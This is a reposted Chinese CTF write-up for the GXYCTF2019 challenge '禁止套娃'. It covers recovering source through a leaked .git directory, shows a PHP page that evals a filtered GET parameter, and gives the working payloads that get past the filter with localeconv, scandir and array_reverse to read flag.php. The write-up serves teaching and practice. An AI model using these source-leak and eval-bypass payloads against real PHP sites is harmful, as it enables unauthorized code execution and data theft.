首页 > 其他分享 >[GXYCTF2019]禁止套娃

[GXYCTF2019]禁止套娃

时间:2024-09-11 19:47:46浏览次数:9  
标签:禁止 套娃 GET preg localeconv 源码 exp GXYCTF2019 scandir

这题用御剑扫描不出来什么结果,最后看大佬的wp发现这题使用githack扫出来的

首先来收一下git源码泄露的原因:
开发人员在开发的时候,常常会先把源码提交到远程托管网站(如github),最后在从远程托管网站把源码pull到服务器的web目录下,如果忘记把 .git文件删除,就会造成此漏洞。利用 .git 文件恢复网站源码,而源码里可能会有数据库信息。
index.php的代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第一个if语句
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
不能出现data,filter,php等一些字母
第二个if语句
if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $GET['exp']))
将exp格式化处理,并检查结果是否为一个分号(该表达式会删除所有形如function_name()的函数调用,并返回剩下字符串)
[a-z,_]+:匹配函数名,由字母或者下划线构成
\( 和 \):匹配括号
(?R) :这是递归模式,允许正则表达式递归匹配嵌套的括号操作,也就是这个(/[a-z,
]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
先来看当前目录下有什么文件
使用print_r(scandir('.'));,但是注意到,如果使用点(.),最后就不会通过if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这个正则,应为它匹配的只是字母和下划线,如果有点就无法将他们转化成null,也就是最后的结果不会只剩下分号。
知识点:

localeconv()函数返回包含本地数字及货币格式信息的数组,而数组第一项就是点(.)
current()函数返回数组中当前单元,默认取第一个值
pos()函数返回数组中当前元素,也是默认取第一个值
所以我们可以构造:
print_r(scandir(current(localeconv())));或者print_r(scandir(pos(localeconv())));来表示print_r(scandir('.'));

最后也是得到了回显

现在的问题就是怎么取flag了,因为只能出现字母(函数调用的这种形式)
注意到,flag.php在倒数第二的位置,而next函数是返回数组中的第二个值,所以我们可以用array_reverse()函数将数组逆置,然后用next()将它取出来
使用?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

可以看到最后返回了flag.txt
最后用highlight_file()或者show_source()将flag返回就行了
最后的payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));或者?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

标签:禁止,套娃,GET,preg,localeconv,源码,exp,GXYCTF2019,scandir
From: https://www.cnblogs.com/lcmz/p/18408823

相关文章

  • 禁止拷贝怎么解决?好用的u盘管控软件有哪些?(禁止拷贝,一步到位!)
    数据泄露和非法拷贝成为企业和个人面临的严峻挑战。为了保护敏感信息的安全,禁止未经授权的拷贝行为至关重要。本文将为您介绍几种一步到位的U盘管控软件,帮助您有效管理U盘使用,防止数据泄露。禁止拷贝的多种策略1.禁用USB接口最直接的方法之一是禁用计算机的USB接口,从而......
  • CSS设置禁止文本复制
    CSS设置禁止复制经常可以看到某些网站网页上的文字无法被选中,除了js控制,通过CSS样式user-select和z-index两个属性都可导致无法复制文字user-select浏览器中双击或点击选中文本,文本会被高亮显示,通过cssuser-select属性则设置是否允许选取元素的文本,该CSS有四个属性值auto:默......
  • 电脑禁止访问特定网页/网站的5个方法(操作简单!小白必看!)
    确保员工高效工作并维护网络环境的安全与秩序至关重要。有时,为了防止员工访问与工作无关或存在潜在风险的网站,企业需要采取一些措施来限制网页访问。下面为各位企业管理者介绍五个操作简单、效果显著的电脑禁止访问特定网页/网站的方法,即便是技术小白也能轻松上手!1.利用......
  • android 14.0 Launcher3禁止拖拽app图标到第一屏
    1.概述在14.0系统rom进行定制化开发Launcher3中,会对Launcher3做些要求,比如现在的需求就是Launcher3第一屏的图标固定,不让其他屏的图标拖动到第一屏所以说这个需求和禁止拖拽图标到Hotseat类似,也是从WorkSpace.java里面寻找解决方案,然后实现相关功能2.Launcher3禁止拖拽app......
  • PbootCms禁止自动提取缩略图的办法
    PbootCMS常常会自动提取文章里的图片作为缩略图。然而,有时候文章中的第一张图可能尺寸很小,又或者由于其他种种原因,并不适宜作为缩略图来呈现。在这种情况下,PbootCms原本的智能特性就显得有些多余了。接下来,就为大家详细讲解如何修改程序,从而实现禁止PbootCms模板自动提取文章第......
  • pbootcms禁止数字id方式访问栏目,如/1/
    在pbootcms处于伪静态状态下,栏目既可以通过“www.xxx.com/about/”这样的形式进行访问,也可以通过“www.xxx.com/1/”的方式进行访问。然而,对于那些对seo要求极为严谨的人来说,这种情况是不合理的。那么,究竟该如何关闭通过数字id方式访问栏目的功能呢?下面,我们就来详细地介绍一......
  • 安全:linux禁止响应ping,不使用防火墙
    一,永久性关闭响应ping查看默认是否允许ping:[root@bloggsapi]#cat/proc/sys/net/ipv4/icmp_echo_ignore_all0 说明:(0表示允许,1表示禁止)编辑sysctl.conf[root@bloggsapi]#vi/etc/sysctl.conf增加一行:#ignorepingnet.ipv4.icmp_echo_ignore_all=1使生效:[root......
  • 文件禁止外发的方法有哪些?企业如何禁止文件外发:六个控制文件外发的小窍门!
    想象一下,企业信息如同珍贵的宝藏,而文件外发就像不经意间打开的后门,让宝藏暴露在风雨之中!今天,我们就来聊聊如何给这扇后门加上六道坚实的锁,确保企业信息的安全无虞。让我们一起探索六个控制文件外发的小窍门,其中还特别介绍安企神的禁止外发策略。1. 建立严格的文件管理制度......
  • 禁止文件外发 | 如何禁止员工外发文件?严守企业机密,禁止员工外发敏感文件!
    近期,我们注意到一些敏感项目资料有外泄的风险,这对公司的核心竞争力构成了严重威胁!我们必须立即采取行动,严守企业机密,确保每一份文件都安全无虞。从今天起,我们要全面升级信息安全措施,特别是要禁止员工未经授权外发文件,大家有什么好的建议或方案吗?我有!且听我慢慢道来!为了有效......
  • 最新零代码,套娃一样开发IoT应用!
    V3.0全新升级:社区版|文档(18万字)|AI问答|入门示例50+|设计极简前端技术日新月异,UIOTOS是一款最新开源的前端零代码工具(无需用户懂前端开发,不同于低代码)。三年磨一剑,独创的页面嵌套技术,给WEB前端、UI原型、组态HMI、工控上位机,以及工作流、规则链等图形可视化编辑,带来了全......